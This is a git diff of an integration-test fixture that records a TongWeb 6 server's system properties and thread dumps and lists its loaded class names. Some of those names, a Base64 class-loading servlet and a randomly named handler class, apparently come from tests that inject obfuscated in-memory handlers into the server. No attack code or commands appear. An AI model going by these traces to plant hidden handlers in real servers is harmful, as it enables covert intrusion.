sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-2" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.3" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ca67a0f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[172.17.0.4:33467]" #17 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@51fe3f64 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-7" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"com.tongweb.tongejb.pool.scheduler.2" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36f63325 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #43 daemon [WAITING] on java.util.TaskQueue@454a324f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"JMX client heartbeat 2" #123 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.sun.jmx.remote.internal.ClientCommunicatorAdmin$Checker.run(ClientCommunicatorAdmin.java:175) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-5" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-Acceptor-0" #101 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-5" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-1" #74 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-4" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-8" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-8" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-3" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"http-nio-9060-ClientPoller-0" #60 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-1" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(2)-172.17.0.4" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$12/1401549639.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.tongweb.monitor.persistence.TimerThread +com.tongweb.twnt.thor.OpenEJBValve +com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler +com.tongweb.web.oro.http11.AbstractHttp11Processor +com.tongweb.web.thor.authenticator.AuthenticatorBase +com.tongweb.web.thor.connector.CoyoteAdapter +com.tongweb.web.thor.connector.CoyoteWriter +com.tongweb.web.thor.core.ApplicationFilterChain +com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.web.thor.core.StandardContextValve +com.tongweb.web.thor.core.StandardEngineValve +com.tongweb.web.thor.core.ThorStandardHostValve +com.tongweb.web.thor.core.ThorStandardServer +com.tongweb.web.thor.core.ThorStandardWrapperValve +com.tongweb.web.thor.startup.Catalina +com.tongweb.web.thor.startup.ThorBootstrap +com.tongweb.web.thor.startup.Tomee +com.tongweb.web.thor.valves.AccessLogValve +com.tongweb.web.thor.valves.ErrorReportValve +com.tongweb.web.webutil.util.net.DefaultServerSocketFactory +com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor +com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout +com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor +com.tongweb.web.webutil.util.net.NioEndpoint$Poller +com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor +com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor +com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.webutil.util.threads.TaskQueue +org.apache.http.client.jjCxH.ErrorIlpkbHandler diff --git a/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb6070ContainerTestBasicInfo.txt similarity index 82% rename from integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt rename to integration-test/src/test/resources/infos/TongWeb6070ContainerTestBasicInfo.txt index a720489a..013b81fb 100644 --- a/integration-test/src/test/resources/infos/TongWeb6ContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/TongWeb6070ContainerTestBasicInfo.txt @@ -1,4 +1,4 @@ -# Generated At 2025-08-10 15:27:15 +# Generated At 2026-05-24 11:00:05 SystemProps: java.vendor: Oracle Corporation sun.java.launcher: SUN_STANDARD @@ -8,7 +8,7 @@ sun.management.compiler: HotSpot 64-Bit Tiered Compilers javax.el.ExpressionFactory: com.tongweb.web.el.ExpressionFactoryImpl catalina.useNaming: true os.name: Linux -sun.boot.class.path: /opt/tweb6/lib/endorsed/annotation-api.jar:/opt/tweb6/lib/endorsed/validation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +sun.boot.class.path: /opt/tweb6/lib/endorsed/validation-api.jar:/opt/tweb6/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory com.tongweb.web.thor.startup.ContextConfig.jarsToSkip: java.vm.specification.vendor: Oracle Corporation @@ -22,7 +22,7 @@ java.naming.factory.initial: com.tongweb.web.naming.tongweb.java.javaURLContextF user.language: en derby.system.home: /opt/tweb6 ibm.stream.nio: true -sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64 openejb.assembler: com.tongweb.tongejb.assembler.classic.ThorAssembler openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory openwebbeans.logging.factory: com.tongweb.webbeans.logger.JULLoggerFactory @@ -46,7 +46,7 @@ tongweb.snapshotinhour: 5 java.class.version: 52.0 java.home: /usr/local/openjdk-8/jre java.vm.info: mixed mode -os.version: 6.14.10-orbstack-00291-g1b252bd3edea +os.version: 6.8.0-111-generic openejb.embedder.source: ThorServerListener sun.font.fontmanager: sun.awt.X11FontManager tongweb.sysapp: /opt/tweb6/applications @@ -68,7 +68,7 @@ user.home: /root java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader openejb.version: 1.0.0 java.specification.vendor: Oracle Corporation -java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib java.vendor.url: http://java.oracle.com/ java.vm.vendor: Oracle Corporation common.loader: ${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar @@ -86,7 +86,7 @@ java.awt.headless: true java.io.tmpdir: /opt/tweb6/temp java.vendor.url.bug: http://bugreport.sun.com/bugreport/ server.loader: -os.arch: aarch64 +os.arch: amd64 java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext tongweb.jndi.lookup.relaxVersion: false @@ -110,41 +110,7 @@ master.path: /opt/tweb6 =========================================== ThreadStacks: -"DefaultQuartzScheduler_Worker-5" #161 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@43f698f2 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) - -"snapshot" #176 daemon [TIMED_WAITING] on java.util.TaskQueue@1fc0981c - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) - -"http-nio-8443-exec-2" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) - at java.lang.Thread.run(Thread.java:750) - -"ajp-bio-8009-Acceptor-0" #139 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60) - at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-8080-exec-4" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"http-nio-8443-exec-10" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -157,90 +123,129 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-8" #164 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@2af039e1 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) - -"TWNT-startStop-1" #88 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74f228a0 +"RMI Scheduler(0)" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d02e3bb java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"RMI RenewClean-[192.168.215.5:39889]" #18 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6fe94e5a +"DefaultQuartzScheduler_Worker-8" #149 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@1dded4db java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"RMI TCP Accept-7200" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-7" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"JCA-default-thread-pool-worker-2" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at 